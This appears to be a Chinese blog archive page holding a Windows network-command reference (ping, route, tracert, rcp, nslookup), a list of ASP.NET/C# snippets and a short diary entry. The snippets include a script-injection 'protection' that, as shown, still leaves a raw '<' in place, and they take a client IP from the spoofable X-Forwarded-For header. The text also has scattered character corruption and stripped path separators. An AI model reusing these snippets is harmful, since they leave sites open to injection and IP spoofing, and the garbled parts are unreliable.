2.语法详解 nslookup [-subcommand ...] [{computertofind| [-server]}] 3.参数说明 -subcommand ... 将一个或多个NSLOOKUP子命令指定为命令行选项。computertofind 如果未指定其他服务器,就使用当前默认DNS名称服务器查阅computertofind的信息。要查找不在当前DNS域的计算机,请在名称上附加句点。 -server 指定将该服务器作为DNS名称服务器使用。如果省略了-server,将使用默认的DNS名称服务器。 显示NSLOOKUP子命令的简短总结。 注意:如果ComputerToFind是IP地址,并且查询类型为A或PTR资源记录类型,则返回计算机的名称。如果ComputerToFind是一个名称,并且没有跟踪期,则向该名称添加默认的DNS域名。此行为取决于下面Set子命令的状态:Domain、Srchlist、Defname和Search。 如果键入连字符(-)代替ComputerToFind,命令提示符更改为NSLOOKUP交互模式。命令行长度必须少于256个字符。 NSLOOKUP有两种模式:交互式和非交互式。如果仅需要查找一块数据,请使用非交互式模式。对于第一个参数,键入要查找的计算机的名称或IP 地址。对于第二个参数,键入DNS名称服务器的名称或IP地址。如果省略第二个参数,NSLOOKUP使用默认DNS名称服务器。如果需要查找多块数据,可以使用交互式模式。为第一个参数键入连字符(-),为第二个参数键入DNS名称服务鞯拿苹騃P 地址。或者,省略两个参数,则NSLOOKUP使用默认DNS名称服务器。下面是一些有关在交互式模式下工作的提示: 要随时中断交互式命令,请按Ctrl+B。 要退出,请键入Exit。 要将内置命令当作计算机名,请在该命令前面放置转义字符()。 将无法识别的命令解释为计算机名。 4.例举说明 例子:每个命令行选项均由连字符(-)后紧跟命令名组成,有时是等号(=)后跟一个数值。例如,要将默认的查询类型更改为主机(计算机)信息,并将初始超时更改为10秒,执行以下命令: nslookup -querytype=hinfo -timeout=10 十一、检测网络连接性——PING 1.具体功能 该命令用于通过发送“网际消息控制协议(ICMP)”回响请求消息来验证与另一台TCP/IP计算机的IP级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。PING是用于检测网络连接性、可到达性和名称解析的疑难问题的主要TCP/IP命令。如果不带参数,PING将显示帮助。 2.语法详解 ping [-t] [-a] [-n count] [-l size] [-f] [-i ttl] [-v tost] [-r count] [-s count] [{-j hostlist | -k hostlist}] [-w timeout] [targetname] 3.参数说明 -t 指定在中断前PING可以持续发送回响请求信息到目的地。要中断并显示统计信息,请按Ctrl+Break。要中断并退出PING,请按Ctrl+C。 -a 指定对目的地IP地址进行反向名称解析。如果解析成功,PING将显示相应的主机名。 -n count 指定发送回响请求消息的次数。默认值为4。 -l size 指定发送的回响请求消息中“数据”字段的长度(以字节表示)。默认值为32。size的最大值是65,527。 -f 指定发送的回响请求消息带有“不要拆分”标志(所在的IP标题设为1)。回响请求消息不能由目的地路径上的路由器进行拆分。该参数可用于检测并解决“路径最大传输单位(PMTU)”的故障。 -i ttl 指定发送回响请求消息的IP标题中的ttl字段值。其默认值是是主机的默认ttl值。对于Windows XP主机,该值一般是128。ttl的最大值是255。 -v tos 指定发送回响请求消息的IP标题中的“服务类型(TOS)”字段值。默认值是0。tos被指定为0到255的十进制数。 -r count 指定IP标题中的“记录路由”选项用于记录由回响请求消息和相应的回响应答消息使用的路径。路径中的每个跃点都使用“记录路由”选项中的一个值。如果可能,可以指定一个等于或大于来源和目的地之间跃点数的count。count的最小值必须为1,最大值为9。 -s count 指定IP标题中的“Internet 时间戳”选项用于记录每个跃点的回响请求消息和相应的回响应答消息的到达时间。Count的最小值必须为1,最大值为4。 -j hostlist 指定回响请求消息使用带有hostlist指定的中间目的地集的IP标题中的“稀疏资源路由”选项。可以由一个或多个具有松散源路由的路由器分隔连续中间的目的地。主机列表中的地址或名称的最大数为9,主机列表是一系列由空格分开的IP地址(带点的十进制符号)。 -k hostlist 指定回响请求消息使用带有hostlist指定的中间目的地集的IP标题中的“严格来源路由”选项。使用严格来源路由,下一个中间目的地必须是直接可达的(必须是路由器接口上的邻居)。主机列表中的地址或名称的最大数为9,主机列表是一系列由空格分开的IP地址(带点的十进制符号)。 -w timeout 指定等待回响应答消息响应的时间(以微妙计),该回响应答消息响应接收到的指定回响请求消息。如果在超时时间内未接收到回响应答消息,将会显示“请求超时”的错误消息。默认的超时时间为4000(4秒)。 targetname 指定目的端,它既可以是IP地址,也可以是主机名。 注意:可以使用PING测试计算机名和计算机的IP地址。如果已成功验证IP地址但未成功验证计算机名,这可能是由于名称解析问题所致。在这种情况下,要确保指定的计算机名可以通过本地主机文件进行解析,其方法是通过域名系统(DNS)查询或NetBIOS名称解析技术进行解析。 只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。 4.例举说明 例子1:以下范例显示PINF的输出: C >ping http://www.sina.com.cn/ 例子2:要验证目的地10.0.99.221并解析10.0.99.221的主机名,执行以下命令: ping -a 10.0.99.221 例子3:要验证带有10个回响请求消息的10.0.99.221,且每个消息的“数据”字段值为1000字节,执行以下命令: ping -n 10 -l 1000 10.0.99.221 例子4:要验证目的地10.0.99.221并记录4个跃点的路由,执行以下命令: ping -r 4 10.0.99.221 例子5:要验证目的地10.0.99.221并指定稀疏来源路由为10.12.0.1-10.29.3.1-10.1.44.1,执行以下命令: ping -j 10.12.0.1 10.29.3.1 10.1.44.1 10.0.99.221 十二、连接计算机——RCP 1.具体功能 该命令用于在Windows 2000计算机和运行远程外壳端口监控程序RSHD的系统之间复制文件。RCP命令是一个连接命令,从Windows 2000计算机发出该命令时,也可以用于其他传输在两台运行RSHD的计算机之间复制文件。RSHD端口监控程序可以在UNIX计算机上使用,而在Windows 2000上不能使用,所以Windows 2000计算机仅可以作为发出命令的系统参与。远程计算机必须也通过运行RSHD提供RCP实用程序。 2.语法详解 rcp [-a | -b] [-h] [-r] source1 source2 ... source destination 3.参数说明 -a 指定ASCII传输模式。此模式在传出文件上将回车/换行符转换为回车符,在传入文件中将换行符转换为回车/换行符。该模式为默认的传输模式。 -b 指定二进制图像传输模式。没有执行回车/换行符转换。 -h 传输Windows 2000计算机上标记为隐藏属性的源文件。如果没有该选项,在RCP命令行上指定隐藏文件的效果与文件不存在一样。 -r 将源的所有子目录内容递归复制到目标。source和destination都必须是目录,虽然即使源不是目录,使用-r也能够工作,但将没有递归。 source和destination 格式必须为[computer[.user] ]filename。如果忽略了[computer[.user] ]部分,计算机将假定为本地计算机。如果省略了[.user]部分,将使用当前登录的Windows 2000用户名。如果使用了完全合格的计算机名,其中包含句点(.)分隔符,则必须包含[.user],否则计算机名的最后部分将解释为用户名。如果指定了多个源文件,则destination必须是目录。 如果文件名不是以UNIX的正斜杠(/)或Windows 2000系统的反斜杠()打头,则假定相对于当前的工作目录。在Windows 2000中,这是发出命令的目录。在远程系统中,这是远程用户的登录目录。句点(.)表示当前的目录。在远程路径中使用转义字符(、"或'),以便在远程计算机中使用通配符。 4.例举说明 例子1:要将本地文件复制到远程计算机的登录目录中,执行以下命令: rcp filename remotecomputer 例子2:要将本地文件复制到远程计算机的现存目录中并重新命名,执行以下命令: rcp filename remotecomputer /directory/newfilename 例子3:要将多个本地文件复制到远程登录目录的子目录中,执行以下命令: rcp file1 file2 file3 remotecomputer subdirectory/filesdirectory 例子4:要从远程源复制到本地计算机的当前目录中,执行以下命令: rcp remotecomputer filename 例子5:要将多个文件从多个远程源复制到使用不同用户名的远程目标中,执行以下命令: rcp remote1.user1 file1 remote2.user2 file2 remotedest.destuser directory 十三、显示和修改本地路由——ROUTE 1.具体功能 该命令用于在本地IP路由表中显示和修改条目。使用不带参数的ROUTE可以显示帮助。 2.语法详解 route [-f] [-p] [command [destination] [mask netmask] [gateway] [metric metric] [if interface] 3.参数说明 -f 清除所有不是主路由(子网掩码为255.255.255.255的路由)、环回网络路由(目标为127.0.0.0,子网掩码为255.255.255.0的路由)或多播路由(目标为224.0.0.0,子网掩码为240.0.0.0的路由)的条目的路由表。如果它与命令之一(例如Add、Change或Delete)结合使用,表会在运行命令之前清除。 -p 与Add命令共同使用时,指定路由被添加到注册表并在启动TCP/IP协议的时候初始化IP路由表。默认情况下,启动TCP/IP协议时不会保存添加的路由,与Print命令一起使用时,则显示永久路由列表。所有其他的命令都忽略此参数。永久路由存储在注册表中的位置是HKEY_LOCAL_MACHSYSTEMCurrentControlSetServicesTcpipParametersPersistentRoutes。 command 指定要运行的命令。下表列出了有效的命令。 destination 指定路由的网络目标地址。目标地址可以是一个IP网络地址(其中网络地址的主机地址位设置为0),对于主机路由是IP地址,对于默认路由是0.0.0.0。mask subnetmask 指定与网络目标地址相关联的网掩码(又称子网掩码)。子网掩码对于IP网络地址可以是一适当的子网掩码,对于主机路由是255.255.255.255 ,对于默认路由是0.0.0.0。如果忽略,则使用子网掩码255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是0,则目标地址中的对应位就不能设置为1。 gateway 指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点IP地址。对于本地连接的子网路由,网关地址是分配给连子网接口的IP地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的IP地址。 metric metric 为路由指定所需跃点数的整数值(范围是1~9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可靠性、路径吞吐量以及管理属性。 if interface 指定目标可以到达的接口的接口索引。使用Route print命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值,要在十六进制数的前面加上0x。忽略if参数时,接口由网关地址确定。 注意:路由表中跃点数一列的值较大是由于允许TCP/IP根据每个LAN接口的IP地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数,请在每个LAN连接的TCP/IP协议的高级属性中禁用自动确定接口跃点数。 如果在systemrootSystem32DriversEtc文件夹的本地网络文件中存在适当的条目,名称可以用于Destination。只要名称可以通过“域名系统”(DNS)查询这样的标准主机名解析技术分解为IP地址,就可以将其用于Gateway,DNS查询使用存储在systemrootSystem32DriversEtc 文件夹下的本地主机文件和NetBIOS 名称解析。 如果是Print或Delete命令,可以忽略Gateway参数,使用通配符来表示目标和网关。Destination的值可以是由星号(*)指定的通配符。如果指定目标含有一个星号(*)或问号(?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字符。例如,10.*.1、192.168.*、127.*和*224*都是星号通配符的有效使用。 使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route bad gateway address netmask”错误消息。目标中有一位或多位设置为1,而其在子网掩码中的对应位设置为0时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的1和表示目标主机地址部分的一连串的0两个部分。查看目标以确定目标的主机地址部分(由子网掩码所定义) 是否有些位设置成了1。 Windows 98 的Route命令不支持-p参数。 只有当TCP/IP协议在网络连接中安装为网络适配器属性的组件时,该命令才可用。 4.例举说明 例子1:要显示IP路由表的完整内容,执行以下命令: route print 例子2:要显示IP路由表中以10.开始的路由,执行以下命令: route print 10.* 例子3:要添加默认网关地址为192.168.12.1的默认路由,执行以下命令: route add 0.0.0.0 mask 0.0.0.0 192.168.12.1 例子4:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1的路由,执行以下命令: route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 例子5:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1的永久路由,执行以下命令: route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1 例子6:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1,跃点数为7的路由,执行以下命令: route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7 例子7:要添加目标为10.41.0.0,子网掩码为255.255.0.0,下一个跃点地址为10.27.0.1,接口索引为0x3的路由,执行以下命令: route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3 例子8:要删除目标为10.41.0.0,子网掩码为255.255.0.0的路由,执行以下命令: route delete 10.41.0.0 mask 255.255.0.0 例子9:要删除IP路由表中以10.开始的所有路由,执行以下命令: route delete 10.* 例子10:要将目标为10.41.0.0,子网掩码为255.255.0.0的路由的下一个跃点地址由10.27.0.1更改为10.27.0.25,执行以下命令: route change 10.41.0.0 mask 255.255.0.0 10.27.0.25 十四、数据包跟踪诊断——TRACERT 1.具体功能 该诊断实用程序将包含不同生存时间(TTL)值的Internet控制消息协议(ICMP)回显数据包发送到目标,以决定到达目标采用的路由。要在转发数据包上的TTL之前至少递减1,必需路径上的每个路由器,所以TTL是有效的跃点计数。数据包上的TTL到达0时,路由器应该将“ICMP已超时”的消息发送回源系统。TRACERT先发送TTL为1的回显数据包,并在随后的每次发送过程将TTL递增1,直到目标响应或TTL达到最大值,从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过,有些路由器悄悄地下传包含过期TTL值的数据包,而TRACERT看不到。 2.语法详解 tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout] target_name 3.参数说明 -d 指定不将地址解析为计算机名。 -h maximum_hops 指定搜索目标的最大跃点数。 -j computer-list 指定沿computer-list的稀疏源路由。 -w timeout 每次应答等待timeout指定的微秒数。 target_name 目标计算机的名称。 4.例举说明 例子:从局域网内跟踪到首都在线站点(www.263.net)的路由,执行以下命令: Tracert http://www.263.net/ 下面让我们来看看有问题的显示结果。(//后为该行解释说明。) Tracing route to http://www.263.net/ [211.100.31.131]//解析出首都在线站点的主机IP地址。 over a maximum of 30 hops 1 1 ms 2 ms 2 ms 202.201.3.1//到这一步,就说明校园网内的线路连通性完好,线路故障只能发生在校外。 2 2 ms 2 ms 2 ms 210.202.88.126 3 3 ms 4 ms 4 ms 210.112.46.13 4 5 ms 5 ms 6 ms 210.112.46.149 5 * * * Request timed out.//说明从202.112.46.149到上一级路由器之间发生了故障,导致连接不了首都在线站点。 | November 07 1、DateTime 数字型 System.DateTime currentTime=new System.DateTime();
1.1 取当前年月日时分秒 currentTime=System.DateTime.Now;
1.2 取当前年 int 年=currentTime.Year;
1.3 取当前月 int 月=currentTime.Month;
1.4 取当前日 int 日=currentTime.Day;
1.5 取当前时 int 时=currentTime.Hour;
1.6 取当前分 int 分=currentTime.Minute;
1.7 取当前秒 int 秒=currentTime.Second;
1.8 取当前毫秒 int 毫秒=currentTime.Millisecond; (变量可用中文)
1.9 取中文日期显示——年月日时分 string strY=currentTime.ToString("f"); //不显示秒
1.10 取中文日期显示_年月 string strYM=currentTime.ToString("y");
1.11 取中文日期显示_月日 string strMD=currentTime.ToString("m");
1.12 取当前年月日,格式为:2003-9-23 string strYMD=currentTime.ToString("d");
1.13 取当前时分,格式为:14:24 string strT=currentTime.ToString("t");
2、Int32.Parse(变量) Int32.Parse("常量") 字符型转换 转为32位数字型
3、 变量.ToString() 字符型转换 转为字符串 12345.ToString("n"); //生成 12,345.00 12345.ToString("C"); //生成 ¥12,345.00 12345.ToString("e"); //生成 1.234500e+004 12345.ToString("f4"); //生成 12345.0000 12345.ToString("x"); //生成 3039 (16进制) 12345.ToString("p"); //生成 1,234,500.00%
4、变量.Length 数字型 取字串长度: 如: string str="中国"; int Len = str.Length ; //Len是自定义变量, str是求测的字串的变量名
5、System.Text.Encoding.Default.GetBytes(变量) 字码转换 转为比特码 如:byte[] bytStr = System.Text.Encoding.Default.GetBytes(str); 然后可得到比特长度: len = bytStr.Length;
6、System.Text.StringBuilder("") 字符串相加,(+号是不是也一样?) 如:System.Text.StringBuilder sb = new System.Text.StringBuilder(""); sb.Append("中华"); sb.Append("人民"); sb.Append("共和国");
7、变量.Substring(参数1,参数2); 截取字串的一部分,参数1为左起始位数,参数2为截取几位。 如:string s1 = str.Substring(0,2);
8、String user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString(); 取远程用户IP地址
9、穿过代理服务器取远程用户真实IP地址: if(Request.ServerVariables["HTTP_VIA"]!=null){ string user_IP=Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString(); }else{ string user_IP=Request.ServerVariables["REMOTE_ADDR"].ToString(); }
10、 Session["变量"]; 存取Session值; 如,赋值: Session["username"]="小布什"; chinaitpower.comNJMNpKx60pHmoHa 取值: Object objName=Session["username"]; String strName=objName.ToString(); 清空: Session.RemoveAll();
11、String str=Request.QueryString["变量"]; 用超链接传送变量。 如在任一页中建超链接:点击 在Edit.aspx页中取值:String str=Request.QueryString["fdid"];
12、DOC对象.CreateElement("新建节点名"); 创建XML文档新节点
13、父节点.AppendChild(子节点); 将新建的子节点加到XML文档父节点下
14、 父节点.RemoveChild(节点); 删除节点
15、Response Response.Write("字串"); Response.Write(变量); 向页面输出。 Response.Redirect("URL地址"); 跳转到URL指定的页面
16、char.IsWhiteSpce(字串变量,位数)——逻辑型 查指定位置是否空字符; 如: string str="中国 人民"; Response.Write(char.IsWhiteSpace(str,2)); //结果为:True, 第一个字符是0位,2是第三个字符。
17、char.IsPunctuation(''字符'') --逻辑型 查字符是否是标点符号 如:Response.Write(char.IsPunctuation(''A'')); //返回:False
18、(int)''字符'' 把字符转为数字,查代码点,注意是单引号。 如: Response.Write((int)''中''); //结果为中字的代码:20013
19、(char)代码 把数字转为字符,查代码代表的字符。 如: Response.Write((char)22269); //返回“国”字。
20、 Trim() 清除字串前后空格
21 、字串变量.Replace("子字串","替换为") 字串替换 如: string str="中国"; str=str.Replace("国","央"); //将国字换为央字 Response.Write(str); //输出结果为“中央”
再如:(这个非常实用)
string str="这是<script>脚本"; str=str.Replace("<","<font><</font>"); //将左尖括号替换为<font> 与 < 与 </font> (或换为<,但估计经XML存诸后,再提出仍会还原) Response.Write(str); //显示为:“这是<script>脚本”
如果不替换,<script>将不显示,如果是一段脚本,将运行;而替换后,脚本将不运行。 这段代码的价值在于:你可以让一个文本中的所有HTML标签失效,全部显示出来,保护你的具有交互性的站点。 具体实现:将你的表单提交按钮脚本加上下面代码: string strSubmit=label1.Text; //label1是你让用户提交数据的控件ID。 strSubmit=strSubmit.Replace("<","<font><</font>"); 然后保存或输出strSubmit。 用此方法还可以简单实现UBB代码。
22、Math.Max(i,j) 取i与j中的最大值 如 int x=Math.Max(5,10); // x将取值 10
23、字串对比一般都用: if(str1==str2){ } , 但还有别的方法: chinaitpower.comNJMNpKx60pHmoHa
(1)、 string str1; str2 //语法: str1.EndsWith(str2); __检测字串str1是否以字串str2结尾,返回布尔值.如: if(str1.EndsWith(str2)){ Response.Write("字串str1是以"+str2+"结束的"); }
(2)、 //语法:str1.Equals(str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
(3)、 //语法 Equals(str1,str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
24、IndexOf() 、LastIndexOf() 查找字串中指定字符或字串首次(最后一次)出现的位置,返回索引值,如: str1.IndexOf("字"); //查找“字”在str1中的索引值(位置) str1.IndexOf("字串");//查找“字串”的第一个字符在str1中的索引值(位置) str1.IndexOf("字串",3,2);//从str1第4个字符起,查找2个字符,查找“字串”的第一个字符在str1中的索引值(位置)
25、Insert() 在字串中指定索引位插入指定字符。如: str1.Insert(1,"字");在str1的第二个字符处插入“字”,如果str1="中国",插入后为“中字国”;
26、PadLeft()、PadRight() 在字串左(或右)加空格或指定char字符,使字串达到指定长度,如: <% string str1="中国人"; str1=str1.PadLeft(10,''1''); //无第二参数为加空格 Response.Write(str1); //结果为“1111111中国人” , 字串长为10 %>
27、Remove() 从指定位置开始删除指定数的字符 字串对比一般都用: if(str1==str2){ } , 但还有别的方法
1、 string str1; str2 //语法: str1.EndsWith(str2); __检测字串str1是否以字串str2结尾,返回布尔值.如: if(str1.EndsWith(str2)){ Response.Write("字串str1是以"+str2+"结束的"); }
2、 //语法:str1.Equals(str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
3、 //语法 Equals(str1,str2); __检测字串str1是否与字串str2相等,返回布尔值,用法同上.
IndexOf() 查找字串中指定字符或字串首次出现的位置,返首索引值,如: str1.IndexOf("字"); //查找“字”在str1中的索引值(位置) str1.IndexOf("字串");//查找“字串”的第一个字符在str1中的索引值(位置) str1.IndexOf("字串",3,2);//从str1第4个字符起,查找2个字符,查找“字串”的第一个字符在str1中的索引值(位置)
October 28 好就没有更新了,好像今年整个人变得更懒了,什么都不愿意做,整天困的不行,睡觉成了最愿意做的事。
现在又到秋天了,但不幸的是根本紧张不起来,无所事事,有事也不愿意做,没多长时间就要考试了,书还是不大看得下去,这是现在让我最郁闷的事情。而且狂容易看着看着就睡着了,每天都不知道怎么上床,怎么关灯的。
有时候想起来心里都会泛起一阵凉意,今天我干了什么?吃了中饭,吃了晚饭,早饭没来得及吃?还有呢?似乎我无法尽力干任何一件事,糊里糊涂,麻麻木木,匆匆忙忙,乱七八糟,一天就过去了。
人生实在太短暂,一转眼工作已经三年多了,我应该趁着现在这个无需考虑退路的年纪,活得更丰盛一些,更精采一点。
没有结尾,下班了,我要去吃饭了
|
|
|
|